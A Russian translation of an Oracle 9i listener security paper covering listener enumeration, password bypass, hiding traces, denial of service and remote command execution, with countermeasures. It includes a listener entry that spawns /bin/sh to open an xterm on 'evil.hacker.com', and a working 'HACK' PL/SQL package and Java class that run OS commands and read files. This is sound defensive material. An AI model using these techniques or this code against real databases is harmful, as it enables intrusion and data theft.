Logo Море(!) аналитической информации!
IT-консалтинг Software Engineering Программирование СУБД Безопасность Internet Сети Операционные системы Hardware
Обучение от Mail.Ru Group.
Онлайн-университет
для программистов с
гарантией трудоустройства.
Набор открыт!
2003 г

Говард Смит

Информационная безопасность Oracle 9i
(Oracle 9i Security, By Howard Smith, Oracle Corporation UK Limited)

Источник:http://www.oracle.com/pls/oow/oow_user.show_public?p_event=6&p_type=session&p_id=13541

[Прим. пер.: на самом деле данный доклад на конференции OpenWorld 2000 имел более конкретное название: “Oracle9i Listener Security” – защита листенера в Oracle9i.]

В данной работе представлено несколько простых шагов по защите баз данных 9i. Особое внимание уделяется последним изменениям, сделанным в 9i, которые могут быть полезны для защиты систем баз данных.

Ограничения объема статьи не позволяют представить полное руководство по защите систем Oracle, для этого нужно писать книгу. Поэтому мы рассматриваем конкретные угрозы, наиболее часто встречающиеся в Интернете (в таких узлах, как bugtraq), и угрозы, о которых сообщают в Oracle в службу secalert_us; кроме того, мы касаемся угроз на основании исследований, проводимых Security Assurance Group корпорации Oracle. Некоторые из рассматриваемых вопросов были в общих чертах изложены в докладе “Hack Proofing Oracle” [HACK], представленном на OpenWorld 2000. Данная статья основана на этой работе.

Половина сообщений, полученных secalert_us, связана с компонентами сетевого доступа; эти сообщения в основном отправляются хакерами и сообществом обеспечения безопасности сетей. Другая половина сообщений в основном связана с доступом к серверам или приложениям. Из сообщений, связанных с компонентами сетевого доступа, половина (25% от общего количества) посвящена листенеру баз данных. Листенер стал объектом атак сообщества хакеров (начинают появляться доступные для загрузки инструментальные средства для исследования защиты листенеров), поэтому в данной статье рассматриваются способы защиты листенеров, а также последствия атак на незащищенные листенеры.

Помните: нужно своевременно вставлять заплаты!

На следующей диаграмме показано распределение количества сообщений об ошибках, связанных с безопасностью, которые ежемесячно поступают в secalert_us (данные нормализованы с целью скрыть фактическое количество сообщений).

Рис. 1. Количество сообщений об ошибках, ежемесячно поступающих в secalert_us (данные нормализованы)

Как видите, количество сообщений об ошибках возрастает более или менее линейно, поэтому нет никакой публикации, такой, как эта, которая могла бы отразить самые последние поступившие сообщения. Поэтому читателям настоятельно рекомендуется следить за последними оповещениями о проблемах безопасности и заплатах, сделанных Oracle и доступных в:

Структура документа

Оставшаяся часть статьи имеет следующую структуру:

  • в разделе “Безопасность листенера” описано, как нарушитель может найти и воспользоваться плохо сконфигурированными листенерами и в результате полностью скомпрометировать базу данных и сервер;
  • в разделе “Атаки баз данных” рассмотрены некоторые атаки баз данных и серверов;
  • в разделе “PLSExtProc” рассмотрены дополнительные атаки агента внешних процедур Oracle (который позволяет выполнять в сервере внешние процедуры);
  • приложение A содержит тестовые скрипты для некоторых атак баз данных;
  • приложение B содержит пошаговый контрольный список вопросов безопасности, который поможет защитить листенер и базу данных от атак, описанных в данной статье;
  • приложение C содержит список дополнительной литературы и ссылок.

Безопасность листенера

Листенер Oracle – компонент сетевого доступа к системам Oracle. Он принимает клиентские запросы на соединение и направляет их для обработки в соответствующий серверный процесс. Листенер не просто процесс маршрутизации, он имеет свои собственные протокольные и трассировочные файлы, установочные параметры защиты и свой набор команд. Он также поддерживает соединения по протоколам SNMP и SSL.

Хакеры обычно атакуют свои цели, используя удаленный доступ, поэтому листенер может быть первой линией защиты от нарушителей, и это подтверждается рядом сообщений.

Обычно листенер рассматривается как “ступенька” на пути вторжения в базы данных и другие сервисы, которые он может поддерживать. Тем не менее, у него есть достаточно полезные функциональные возможности, которые сами по себе заслуживают внимания.

Плохо сконфигурированный незащищенный листенер предоставляет нарушителю различные способы атак, включая удаленное выполнение команд, атаки типа “отказ в обслуживании”. Целью хакера, атакующего базу данных, является поиск и использование просчетов в конфигурировании листенера.

На следующей схеме показано функционирование листенера Oracle.

Рис. 2. Листенер базы данных.

Листенер – это автономный процесс (сервис в Windows NT/2000), который конфигурируется файлами listener.ora и sqlnet.ora. Он выдает протокольные и трассировочные (отладочные) файлы. Он принимает от клиентов запросы на соединение и управляющие запросы от контроллера листенера (LSNRCTL). Управляющие запросы листенер обрабатывает сам, а запросы на соединение передаются серверному процессу (при необходимости он запускается), который сообщает листенеру, как клиент должен связываться с ним; затем листенер отправляет это сообщение клиенту. После этого клиент и сервер поддерживают связь без вмешательства листенера. Начиная с Oracle9i, листенер может передавать клиентские соединения непосредственно серверу.

Файл listener.ora file описан в [NETREF,8], а файл sqlnet.ora в [NETREF,6], управляющая программа листенера LSNRCTL описана в [NETREF,1].

Перечисление целей: поиск листенеров

Первым шагом при организации атаки является определение уязвимых целей. Oracle зарегистрировала ряд портов TCP/IP [NETREF, Table 5-2], по которым можно найти листенер, на практике могут использоваться также другие порты:
Порт Описание
1521 Порт листенера по умолчанию. Официально не зарегистрирован – фактически зарегистрирован как ncube licence manager.
2483 Официально зарегистрированный порт листенера.
2484 Официально зарегистрированный порт листенера для SSL.

Табл. 1. Обычные порты листенера баз данных Oracle.

Программы сканирования сетевых портов, такие, как [nmap], могут показать доступность этих портов, но листенеры могут быть сконфигурированы для работы с другими доступными портами.

Листенер связывается со своими клиентами, используя соответствующий протокол Oracle Net. Этот протокол не базируется на telnet, поэтому для проверки листенера нельзя использовать стандартные утилиты ОС, такие, как Telnet или [netcat]. К счастью, Oracle предоставляет инструментальное средство TNSPING [NETADMIN, 16-17], которое также может быть использовано для проверки листенера:

TNSPING (ADDRESS=(PROTOCOL=TCP)(HOST=$хост)(PORT=$порт))

Относительно просто смастерить простой, но достаточно медленный, сканер листенеров, подставляя в скрипте различные значения $хоста и $порта.

Определив целевой хост и номер порта листенера, можно смастерить запись в файле listener.ora, которая позволит программе lsnrctl связываться с целевым листенером. Так, для хоста “victim.us.oracle.com”, прослушиваемого по порту 32768, можно ввести:

victim=
   (description=
     (address=(protocol=tcp)(host=victim.us.oracle.com)(port=32768))
   )

Рис 3. Пример записи в listener.ora для хоста victim.us.oracle.com.

Начинают появляться сканеры защиты Oracle, их также можно использовать для поиска листенеров. Например, свободно распространяемый сканер [nessus] имеет подключаемую возможность для обнаружения листенеров Oracle, работающих на портах 1521 и 1541.

Перечисление целей: использование управляющей программы листенера

Обнаружив листенер Oracle, нарушитель захочет определить, имеет ли он какие-нибудь реальные уязвимости. Это называется “перечислением целей” (target enumeration).

Листенер по команде STATUS сообщает о себе массу информации, вывод по умолчанию может быть расширен командой SET DISPLAYMODE для режимов вывода RAW или VERBOSE, например:

SET DISPLAYMODE VERBOSE

В некоторых портах могут использоваться установки по умолчанию. Пример вывода по команде STATUS показан на рис. 4.

Рис. 4. Листенер Oracle 9i выдает свои секреты по команде STATUS.

Как видно, листенер выдает очень полезный список информации, включая:

  • операционную систему сервера (полезна для атак на ОС);
  • версию листенера (обычно, но не всегда, совпадает с версией базы данных). Полезная информация, когда известны уязвимости данной версии и DBA не вставил соответствующие заплаты;
  • время запуска и время работы с точностью до секунд. Знание текущего системного времени может дать ключ к часовому поясу, в котором работает машина, – это всегда полезно для планирования атак, когда администратор, скорее всего, спит. Это может также направить атаки на протоколы и криптографические механизмы, которые базируются на времени;
  • проверку установки пароля листенера (установка SECURITY);
  • контроль включения трассировки и определение данного ее уровня. Трассировочный файл может содержать подробную информацию о получаемых пакетах;
  • контроль включения протокола SNMP (открывает еще один механизм атаки);
  • файл параметров листенера и протокольные файлы. Это позволяет узнать каталог ORACLE_HOME (так что, когда мы проникнем в систему, мы будем знать, где находятся данные);
  • доступные сервисы. MODOSE – коммуникационный канал для Apache (еще одно служебное имя базы данных; однако соединиться с базой данных по имени “MODOSE” иногда сложно, если статус и команды листенера блокируются межсетевым экраном), PLSExtProc – агент внешних процедур (обсуждается позднее) и другие сервисы, наверняка относящиеся к базам данных. Мы можем использовать это информацию для вставки записей в tnsnames.ora данного сервера и попробовать связаться с базой данных, используя SQL Plus или другие средства.

Даже если не установлен пароль, листенер может быть “закрыт” с помощью новой конфигурационной опции ADMIN_RESTRICTIONS (введена в Oracle9i, для более ранних версий можно вставить заплату; этот параметр описан ниже в подразделе “Меры противодействия – установка параметров защиты листенера”). Используя команды реконфигурирования листенера, такие, как SET LOG_STATUS, можно проверить, включен ли режим ADMIN_RESTRICTIONS (см. рис. 5). Ошибка TNS-12508 указывает, что ADMIN_RESTRICTIONS включен.

Рис. 5. Ответы листенера на команду set log_status при включенном/выключенном режиме ADMIN_RESTRICTIONS.

Дополнительная информация может быть обнаружена с помощью команды VERSION, как это показано на рис. 6.

Рис. 6. Ответ листенера на команду VERSION.

Если пароль листенера не установлен (или мы знаем его), то мы с помощью команды SERVICES можем попробовать получить дополнительную информацию о работающих сервисах, как это показано на рис. 7.

Рис.7. Пример ответа листенера на команду SERVICES.

Это поможет определить другие сетевые порты, используемые сервисами Oracle (которые также могут быть объектом атак). Также отметим дополнительную информацию, выдаваемую в режиме вывода VERBOSE (см. выше), которая раскрывает детали выполняемых программ, их окружение и параметры.

Атаки листенера

Перечислив цели в листенере, мы можем описать некоторые атаки на листенер. Наиболее интересные атаки требуют от нарушителя способности реконфигурировать листенер и, следовательно, сначала потребуется преодолеть парольную защиту и ADMIN_RESTRICTIONS. Без реконфигурирования листенера нарушитель будет вынужден ограничиваться только атаками типа “отказ в обслуживании”.

Поэтому мы рассматриваем следующие категории атак:

  • преодоление механизма защиты листенера;
  • заметание своих следов;
  • атаки типа “отказ в обслуживании”;
  • удаленное выполнение команд.

Преодоление механизма защиты листенера

Нужно преодолеть парольную защиту и конфигурационную опцию ADMIN_RESTRICTIONS. Для преодоления парольной защиты есть следующие механизмы:

  • угадывание паролей с помощью внешних механизмов (например, использование "социальной инженерии");
  • использование инструментальных средств для организации “лобовых” атак (они начинают появляться и для листенера Oracle);
  • атаки типа “передача хеш-значений”;
  • прямая модификация конфигурационного файла листенера.

Параметр ADMIN_RESTRICTIONS можно изменить только путем модификации конфигурационного файла листенера.

Если нарушитель может читать файл listener.ora, то можно организовать атаку типа “передача хеш-значений”, используя “старый” формат команды LSNRCTL set_password – установить пароль. Эта команда имеет два режима выполнения. Команда set_password без параметра (пароля) заставляет LSNRCTL выдать приглашение для ввода пароля, который перед передачей листенеру будет шифроваться. Однако, если пароль задан в команде set_password, например, “set_password fred”, пароль будет передан листенеру в незашифрованном виде. Это обеспечивает полезную обратную совместимость, но позволяет развернуть атаки на листенер. Читая хеш-значение пароля из файла listener.ora и используя его в команде set_password, нарушитель может обойтись без необходимости знания пароля.

“Социальная инженерия” – хорошо известная и весьма успешная техника выведывания паролей, но она выходит за рамки данной статьи. Использование инструментальных средств, которые не являются продуктами Oracle, также не рассматриваются в данной статье, так как они непосредственно модифицируют конфигурационный файл листенера через проникновение в операционную систему. Тем не менее, есть две атаки, основанные исключительно на Oracle, которые позволяют модифицировать этот файл:

  • для модификации файла с помощью операций базы данных может оказаться возможным воспользоваться мощными привилегиями базы данных, если есть возможность доступа к достаточно мощной учетной записи; такая атака описана ниже в разделе “Атаки баз данных”;
  • атака PLSExtProc , описанная ниже в разделе “PLSExtProc” , может предоставить возможность модификации файла, но для организации атаки потребуется доступ к локальной учетной записи на сервере (предварительным условием для удаленных атак является возможность реконфигурации конфигурационных файлов листенера).

Заметание своих следов

Предположим, что нарушитель получил доступ к незащищенному листенеру (или преодолел механизмы защиты), тогда ему может захотеться скрыть свою деятельность, чтобы избежать обнаружения во время атаки или после проведенного анализа.

Команды SET LOG_STATUS OFF и SET TRC_LEVEL OFF выключают соответственно протоколирование и трассировку. Используя более творческий подход, можно направить протокольные и трассировочные файлы в /dev/null (UNIX) или в поток NTFS (например, в listener.log:HIDDEN в NT). Для этого в командах SET LOG_FILE/TRACE_FILE нужно задать полный доступа, в противном случае листенер будет добавлять расширение имени файла .log, например:

  • SET LOG_FILE listener.txt – откроет новый протокольный файл “listener.txt.log”;
  • SET LOG_FILE /data/oracle/9.0.1/network/log/listener.txt – откроет протокольный файл “listener.txt”.

Дальнейшее творческое использование этого стереотипа поведения обсуждается в следующих разделах.

Нарушитель может также отправить собственноручно созданный пакет, содержащий признак конца файла, который может заставить программное обеспечение просмотра протоколов прекратить вывод следующих сообщений.

Атаки типа “отказ в обслуживании”

Обнаружено, что листенер может подвергаться ряду атак типа “отказ в обслуживании”:

  • использование команд листенера;
  • использование опубликованных оповещений о проблемах безопасности;
  • атака типа “исчерпание ресурсов”.

Как только процесс листенера будет уничтожен, он не сможет отвечать на любые сетевые запросы. Для перезапуска листенера системный администратор должен будет установить локальное соединение с машиной.

Использование команд листенера

Для организации атак типа “отказ в обслуживании” может быть использован ряд команд листенера:

  • команда STOP – простейший способ, она просто аккуратно останавливает листенер;
  • команды SET LOG_FILE/LOG_DIRECTORY и TRC_FILE/TRC_DIRECTORY могут быть использованы для перезаписи любых файлов, находящихся в каталогах, которыми владеет Oracle (в UNIX), или любого файла (в NT, где листенер работает как сервис пользователя SYSTEM).

Использование опубликованных оповещений о проблемах безопасности

Выпущен ряд оповещений о проблемах безопасности, связанных с листенером (в основном это атаки типа “отказ в обслуживании”), а также появилось несколько инструментальных средств, которые позволяют любому воспользоваться ими. Нарушитель просто указывает целевой листенер и запускает такое средство для аварийного завершения листенера.

Атака типа “исчерпание ресурсов”

Эта атака пользуется механизмом создания листенером новых серверных сеансов. Рассмотрим рис. 8.

Рис. 8. Установление через листенер связи клиент-сервер.

Установление соединения через Oracle Net требует выполнения ряда шагов:

  • клиент инициирует соединение с сервером, сообщая листенеру, что он хочет связаться с указанным сервисом;
  • листенер ожидает поступающих запросов на соединение с сервером. Когда запрос получен, он проверяет, запущен ли серверный процесс (запускает его, если требуется), и сообщает серверу, что ожидается соединение;
  • сервер отвечает листенеру, сообщая детали соединения для передачи их клиенту;
  • листенер информирует клиента, что сервер ожидает его, и передает ему детали соединения с сервером;
  • клиент разрывает свое соединение с листенером;
  • клиент начинает соединение с сервером.

Спровоцировав сбой последнего шага в этом процессе, злонамеренный клиент может организовать эффективную атаку сервера типа “отказ в обслуживании”, так как в конечном счете у сервера закончатся ресурсы, израсходованные на ожидание соединений клиентов. Этого можно достигнуть повторяющимся выполнением команды LSNRCTL SPAWN (только в UNIX) или запуском большого количества соединений с базой данных без последующих попыток аутентификации.

Удаленное выполнение команд

Листенер можно использовать для выполнения нарушителем команд сервера:

  • установив протокольный файл листенера как скрипт оболочки ОС и отослав сфабрикованный пакет, содержащий команды оболочки, нарушитель может выполнять в сервере произвольные команды. После записи в файл, который, вероятно, будет выполнен системным администратором или процессом загрузки системы (например, AUTOEXEC.BAT), эти команды могут быть выполнены пользователем с очень высокими привилегиями;
  • как видно из предыдущего анализа, листенер отвечает за запуск серверных процессов. Эти процессы будут работать под пользователем Oracle (в UNIX) или SYSTEM (в NT). Для того чтобы заставить листенер выполнять наши команды, необходимо реконфигурировать файл listener.ora. Это можно сделать через механизм работы с протокольным файлом, направив вывод протокольного файла в файл listener.ora, а затем отослать пакет, содержащий команды, которые мы хотим выполнить. Например, можно послать пакет, содержащий определение SID:

(SID_DESC=
(SID_NAME=Hacked)
(ORACLE_HOME=/data/oracle/OraHome1)
(PROGRAM = /bin/sh)
(ARGS = -c, /usr/bin/xterm -display evil.hacker.com:0)
)

Затем нужно перезагрузить листенер (RELOAD) и попытаться соединиться с SID “Hacked”, при успешном соединении в узле “evil.hacker.com” появится окно эмулятора терминала xterm;

  • и, наконец, если нарушитель сможет получить на целевой машине локальную учетную запись, если это UNIX и у листенера установлен бит SUID, то появляется возможность выполнять команды как пользователь Oracle, создавая в локальном каталоге файлы LISTENER.ORA и TNSNAMES.ORA, а затем с помощью установки переменной окружения TNS_ADMIN заставляя листенер читать их. Попытки соединения с сервисом, определенном в этих сфабрикованных файлах, заставят листенер выполнять процесс как пользователь Oracle.

Эта атака невозможна в системах NT, поскольку в них листенер работает как сервис NT. Для того чтобы запустить листенер, атакующий пользователь должен иметь возможность создания сервиса NT, то есть уже быть привилегированным пользователем.

Меры противодействия – установка параметров защиты листенера

Для защиты листенера от атак можно использовать два конфигурационных параметра, связанных с безопасностью:

  • если требуется удаленное администрирование листенера, командой lsnrctl “change_password” установите пароль. После этого без задания пароля (командой lsnrctl set_password) нельзя будет использовать никакие команды для остановки или реконфигурирования листенера;
  • на сервере в файле listener.ora можно включить опцию ADMIN_RESTRICTIONS (как это описано в [NETREF, 8-10]), которая запрещает любые попытки удаленного администрирования независимо от того, задан ли пароль. Разрешается только останавливать (команда STOP) и перезагружать листенер (команда RELOAD). Ясно, что это не защищает от простых атак типа “отказ в обслуживании”.

Подразумевается, что установка пароля и опции ADMIN_RESTRICTIONS взаимно исключают друг друга, то есть ADMIN_RESTRICTIONS устанавливается вместо пароля. Установка как пароля, так и ADMIN_RESTRICTIONS, отключает конфигурационные команды, разрешенные в ADMIN_RESTRICTIONS. В таком случае необходимо вручную изменять файл listener.ora, а затем для ввода этих изменений в действие нужно выполнять команду RELOAD (с заданием пароля листенера).

Атаки баз данных

Если нарушитель может соединяться с целевой базой данных как высоко привилегированный пользователь, то появляется возможность злоупотребления очень мощными привилегиями и ролями базы данных для атак на операционную систему сервера и другие базы данных. До Oracle9i имелось очень большое количество иногда очень мощных учетных записей пользователей, создаваемых по умолчанию во время инсталляции. Для защиты таких систем требовалось обдуманное конфигурирование пользователей, однако практика показала, что это выполнялось не всегда. Начиная с Oracle9i, подавляющее большинство учетных записей, создаваемых по умолчанию, блокируется во время инсталляции, запрещая доступ нарушителям и позволяя DBA разблокировать только требуемые для его системы учетные записи. Кроме того, все пароли учетных записей, создаваемых по умолчанию, в Oracle9i устанавливаются с истекшим сроком их действия, поэтому первый пользователь для соединения с разблокированной учетной записью должен задать новый пароль. Эти два простых, но важных, усовершенствования стандартной инсталляции Oracle9i закрывают один из основных путей доступа к базам данных, который использовался хакерами.

Несколько более интересных привилегий и атак описано в табл. 2. Выполняются произвольные команды операционной системы в контексте владельца программного обеспечения Oracle (UNIX) или пользователя SYSTEM (NT). Отметим, что в зависимости от версии базы данных или версии NT (рабочая станция или сервер) пользователь SYSTEM может не иметь возможности непосредственного взаимодействия с экраном или выполнения любых команд, которые требуют экранного доступа, так как SYSTEM не имеет доступа к рабочему столу пользователя.
Самый простой способ использования этих привилегий – указать библиотеку в “системном” служебном вызове, который имеет очень простой синтаксис и, по большому счету, не зависит от платформ, например:

Create library libsys as '/usr/lib/libsys.so'; -- Solaris

Create library libsys as '/usr/lib/libc.so.6'; -- SUSE Linux

Create library libsys as '/usr/lib/libc.sl'; -- HPUX

Create library libsys as 'c:\winnt\system32\msvcrt.dll'; -- NT

В приложении А содержится полностью законченный пакет “hack”.

Привилегия/роль Атака
CREATE LIBRARY
CREATE ANY LIBRARY
JAVASYSPRIV
CREATE ANY DIRECTORY Чтение произвольных файлов с помощью вызовов больших объектов. Любой текстовый файл может отображаться как внешний большой объект и читаться с использованием привилегий процесса, принадлежащего Oracle. Это может также использоваться для проверки существования файлов. Так, нарушитель может выполнять в сервере произвольные команды, направлять их вывод в файл и читать этот файл. Примеры приведены в пакете “hack” приложения А.
CREATE DATABASE LINK Просмотр других баз данных.
Можно встраивать данные соединения в команды создания связей баз данных, избавляясь от необходимости наличия соответствующей записи в файле tnsnames.ora. Например:

Create database link test

Connect to mdsys identified by mdsys

Using '(DESCRIPTION= (ADDRESS= (PROTOCOL=TCP)
(HOST=victim.us.oracle,com)
(PORT=1521))(CONNECT_DATA=(SID=orcl)))';

может использоваться для попытки доступа к базе данных на машине victim.us.oracle.com как пользователь MDSYS, используя SID по умолчанию orcl.

Эту привилегию иногда можно использовать для исследования баз данных, непосредсвенно не доступных нарушителю. Например, незащищенная тестовая система может быть использована для просмотра баз данных в корпоративной сети интранет.

Также отметим, что пароли связей хранятся в открытом виде в таблице link$.

Табл. 2. Привилегии баз данных и возможные атаки.

Таким образом, используя пакет “HACK”, представленный в приложении А, можно преодолеть защиту листенера. Например, используя в SQL Plus процедуру javaexecute:

SQL> execute hack.javaexecute(‘c:\winnt\system32\cmd /c
“echo admin_restrictions = off >>c:\oracle\network\admin\listener.ora”’);

Она вставляет в файл listener.ora строку “admin_restrictions = off. После этого выполнение в контролере листенера команды RELOAD приведет к выключению опции ADMIN_RESTRICTIONS.

Используя в пакете “HACK” процедуру просмотра (browse), нарушитель может читать файл listener.ora, например:

SQL> execute hack.browse(‘listener.ora’,’c:\oracle\network\admin\’);

Это позволяет обнаружить текущие установки защиты листенера, включая его пароль (хешированный в UNIX, открытый текст в NT).

Меры противодействия – атаки баз данных

Если в приложении не требуется использовать вызовы внешних процедур, то можно не запускать процесс PLSExtProc, используемый для выполнения вызовов внешних процедур (как это описано ниже в разделе “PLSExtProc”). Это позволит предотвратить злоупотребления привилегией CREATE [ANY] LIBRARY.

Перед предоставлением пользователям мощных привилегий базы данных следует внимательно рассмотреть последствия. Все ненужные учетные записи необходимо блокировать или даже уничтожать.

Следует учитывать взаимное доверие между базами данных, которое может появиться в результате конфигурирования сети: привилегия CREATE DATABASE LINK (и различные пакеты PL/SQL, такие, как UTL_TCP) разрешают внешние сетевые соединения из базы данных.

Важно понимать, что DBA имеет все привилегии, поэтому он может читать, писать и выполнять файлы и команды операционной системы как пользователь, который является владельцем Oracle.

PLSExtProc

Сервис PLSExtProc – это механизм, который Oracle использует для вызова внешних процедур через ссылки библиотек базы данных, создаваемых командой CREATE LIBRARY (как это было описано выше в разделе “Атаки баз данных”). Поскольку этот процесс представляет собой, так же, как и листенер, просто еще один сервис, то он может прямо взаимодействовать с листенером, не имея сначала соединения с базой данных.

Для того чтобы суметь связаться с PLSExtProc, нам нужно изучить формат сообщений, используемый в базе данных для запуска внешних процедур. Мы можем проверить содержимое сообщений, включив в файле sqlnet.ora опции трассировки:

trace_level_agent = support
trace_level_client = support
trace_level_server = support

В результате, в каталоге трассировки Oracle Net (который, если нужно, можно изменить установкой в sqlnet.ora параметров trace_directory_имя) будет создан ряд трассировочных файлов.

Затем, поскольку для проверки нам нужен подходящий библиотечный вызов, мы предлагаем использовать служебные вызовы операционной системы, например, system(). Подходящей для выполнения командой может быть что-то легкое, типа “dir c:\temp” с завершающими, скажем, 80-ю пробелами. Анализируя впоследствии трассировочные файлы, мы сможем разобраться с сообщениями, которыми обмениваются база данных и PLSExtProc.

Сейчас мы можем написать программу для организации “атаки воспроизведения” на PLSExtProc. Посылая в правильном порядке сообщения, восстановленные по трассировочным файлам, мы можем заставить PLSExtProc выполнить нашу перехваченную команду. Переписав текст параметров, передаваемых в системный служебный вызов, мы можем заставить PLSExtProc выполнять произвольные команды.

Обычно PLSExtProc связывается с базой данных, используя межпроцессные каналы (IPC), это означает, что атака воспроизведения обычно будет действовать только на локальный сервер. Для реконфигурирования PLSExtProc, чтобы он принимал удаленные команды, нужно изменить его запись в файле tnsnames.ora. Запись ADDRESS для PLSExtProc обычно выглядит примерно так:

(ADDRESS=(PROTOCOL=IPC)(KEY=EXTPROC))

но после изменения ее на:

(ADDRESS=(PROTOCOL=TCP)(HOST=ëîêàëüíûé_õîñò)(PORT=1521))

PLSExtProc будет принимать и отвечать на запросы, поступающие по порту листенера 1521, установленного по умолчанию.

Меры противодействия – PLSExtProc

Если механизм вызова внешних процедур не нужен, то его можно без риска отключить, удалив из файлов listener.ora и tnsnames.ora связанные с ним записи. Это не позволит базе данных связываться с агентом внешних процедур. Для предотвращения реконфигурирования этих файлов и повторного включения механизма вызова внешних процедур следует убрать привилегию запуска процесса PLSExtProc или удалить саму выполняемую программу.

Если агент внешних процедур нужен, то следует рассмотреть использование межсетевых экранов, ограничивающих соединения, исходящие от сервера, с другими машинами (например, с узлами репликации). Пользователи с локальными учетными записями на машине и DBA смогут выполнять команды ОС как пользователи, которые являются владельцами Oracle.

Вопросы, подлежащие дальнейшему исследованию

В данной статье затронут ряд вопросов, которые подлежат дальнейшему исследованию, включая:

  • другие вопросы конфигурирования листенера, например, регистрация сервисов, SNMP, SSL;
  • другие злоупотребления PLSExtProc (например, атаки типа “переполнение буфера” как на сам процесс, так и сервисы операционной системы сервера).

Оповещение о проблемах, связанных с безопасностью

Если читатели считают, что они обнаружили новую уязвимость защиты, мы просим сообщить об этом прежде всего в службу поддержки Oracle (для заказчиков с поддержкой) или же по адресу secalert_us@oracle.com. Мы обещаем частным лицам и организациям, которые работают с нами, идентифицировать и решить проблемы безопасности в наших извещениях.

Заключение

В данной статье рассмотрен ряд атак баз данных Oracle и описано, как Oracle встречает эти угрозы, по умолчанию или используя простые шаги конфигурирования. Описаны новые функциональные возможности:

  • опция листенера ADMIN_RESTRICTIONS;
  • блокирование по умолчанию учетных записей базы данных.

Эти, несомненно, простые и незначительные совершенствования, используемые совместно, существенно повышают защиту Oracle9i. Недооценка данных в этой статье рекомендаций может подвергать серьезным атакам (включая атаки типа “отказ в обслуживании”) базу данных, соединенные с ней базы данных и сами серверные машины.

Приложение A – тестовые программы

A.1 Пакет PL/SQL “HACK”

-- HACK.SQL
-- (c) 2001, Oracle Corporation
-- Author: Bridesmaid (Howard Smith)
--
-- Пакет HACK, содержащий полезные процедуры для злоупотребления
-- привилегиями базы данных

create or replace package hack as
	procedure javaexecute(command varchar2);	         -- Выполняет команду, используя Java
	procedure sysexecute(command varchar2);	         -- Выполняет команду, используя SYSTEM
	procedure exists(filename varchar2, dir varchar2);	-- Проверяет, существует ли файл
	procedure browse(filename varchar2, dir varchar2);	-- Выводит содержимое файла
end;


create or replace package body hack as

--
-- Определяет функцию PL/SQL wrapper JEXECUTE для класса Java "JExecute", определенного внешне
--

function jexecute(command varchar2) return varchar2 is
	language java
	name 'JExecute.JExec(java.lang.String) return java.lang.String';


--
-- Удобная для пользователя версия, которая выполняет заданную команду и выводит статус возврата
--

procedure javaexecute(command varchar2) is
	result varchar2(32000);
begin
	dbms_output.enable(1000000);
	result := jexecute(command);
	dbms_output.put_line(result);
end;

--
-- Процедура "обертки" служебного вызова "system", определенного в библиотеке libsys
--

function syscall(call varchar2) return binary_integer is
	external
		library libsys
		name "system"
		calling standard c
		parameters(call by reference string, return ub4);

--
-- Процедура "обертки" для syscall
--

procedure sysexecute(command varchar2) as
begin
	dbms_output.enable(1000000);
	dbms_output.put_line('Executing: '||command);
	dbms_output.put_line('Command completed with status: ' || syscall(command));
end;

--
-- Проверка существования указанного файла в файловой системе ОС
-- 

procedure exists(filename varchar2, dir varchar2) as
	Lob_loc bfile;
begin
	dbms_output.enable(1000000);
	dbms_output.put_line('Checking file:'||filename);
	dbms_output.put_line('Directory:    '||dir);
	
	-- Сначала мы должны создать каталог
	
	declare
	begin
		execute immediate ('create or replace directory hackdir as '''||dir||'''');
	exception
		when others then
			dbms_output.put_line('Directory creation failed'||sqlerrm);
			return;
	end;
	
	-- Сейчас проверим существование файла
	
	lob_loc:=bfilename('HACKDIR',filename);
	
	if (DBMS_LOB.FILEEXISTS(Lob_loc)!= 0) then
		dbms_output.put_line('File exists');
	else
		dbms_output.put_line('File does not exist');
	end if;
	
end;

--
-- Просмотр заданного файла
-- Это очень простая демонстрационная программа. Форматирование файла не сохраняется.
--

procedure browse(filename varchar2, dir varchar2) as
	Lob_loc bfile;
	Buffer RAW(128);
	Amount BINARY_INTEGER := 128;
	Position INTEGER := 1;
begin
	dbms_output.enable(1000000);
	dbms_output.put_line('Display file:'||filename);
	dbms_output.put_line('Directory:   '||dir);
	
	-- Сначала мы должны создать каталог
	
	declare
	begin
		execute immediate ('create or replace directory hackdir as '''||dir||'''');
	exception
		when others then
			dbms_output.put_line('Directory creation failed'||sqlerrm);
			return;
	end;
	
	-- Сейчас проверим существование файла
	
	lob_loc:=bfilename('HACKDIR',filename);
	
	if (DBMS_LOB.FILEEXISTS(Lob_loc)!= 0) then
	
		declare
		begin
			--открыть файл для чтения

			DBMS_LOB.OPEN(Lob_loc, DBMS_LOB.LOB_READONLY);
	
			--вывести содержимое файла

			LOOP
				DBMS_LOB.READ(Lob_loc, Amount, Position, Buffer);
				dbms_output.put_line(UTL_RAW.CAST_TO_VARCHAR2(Buffer));
				Position := Position + Amount;
			END LOOP;

			-- закрыть файл и выдать диагностику

			DBMS_LOB.CLOSE(Lob_loc);
		exception
			WHEN NO_DATA_FOUND THEN
				dbms_output.put_line('**End of Data**');
		end;
			
	else
		dbms_output.put_line('File does not exist');
	end if;
end;
end;

A.2 JExecute.java

Эта программа используется для демонстрации выполнения произвольных команд с помощью Java, компиляция выполняется следующим образом:

    javac jexecute.java
для загрузки используйте:
     loadjava jexecute.class -user <пользователь>/<пароль>

// JExecute.java
// 
// (c) 2001, Oracle Corporation
//
// Author: Bridesmaid (Howard Smith)
//
// Простой демонстрационный класс, который может 
// выполнять программу, передаваемую как параметр.

import java.io.*;

public class JExecute {
	public static String JExec(String command)
	{
		try {
		Process child = Runtime.getRuntime().exec(command);
		InputStream childout = child.getInputStream();
		InputStreamReader r = new InputStreamReader(childout);
		BufferedReader in = new BufferedReader(r);
		String line;
		String output;
		output = "";
		while((line = in.readLine()) != null) output = output + line + "\n";
		if (child.waitFor() != 0) output = "Execute failed with exit code:" + child.exitValue();
		return (output);
		} catch (Exception e) {
		return("Execute failed with exception:" + e.toString());
		}
	}
}

Приложение B – контрольный список вопросов для оценки защиты листенера

Для того чтобы ваша система не стала жертвой атак, описанных в этой статье, мы подготовили простой контрольный список.

Прежде всего, однако, важно понимать, что листенер может быть скомпрометирован плохой конфигурацией ОС и базы данных. Обдумывайте возможности сетевых соединений с сервером базы данных и для входящих соединений, и для исходящих. Фильтрацию входящих соединений в листенере можно устанавливать с помощью параметров TCP.VALIDNODE_CHECKING, TCP.INVITED_NODES и TCP.EXCLUDED_NODES [NETREF, 6-37/38]. Более сложные правила фильтрации могут быть установлены с помощью Connection Manager [NETADMIN, 13]. Использование межсетевых экранов также позволит фильтровать исходящие соединения, а некоторые межсетевые экраны предотвратят передачу клиентам статусной информации.

В базе данных:

  • обеспечьте блокирование или уничтожение всех ненужных учетных записей;
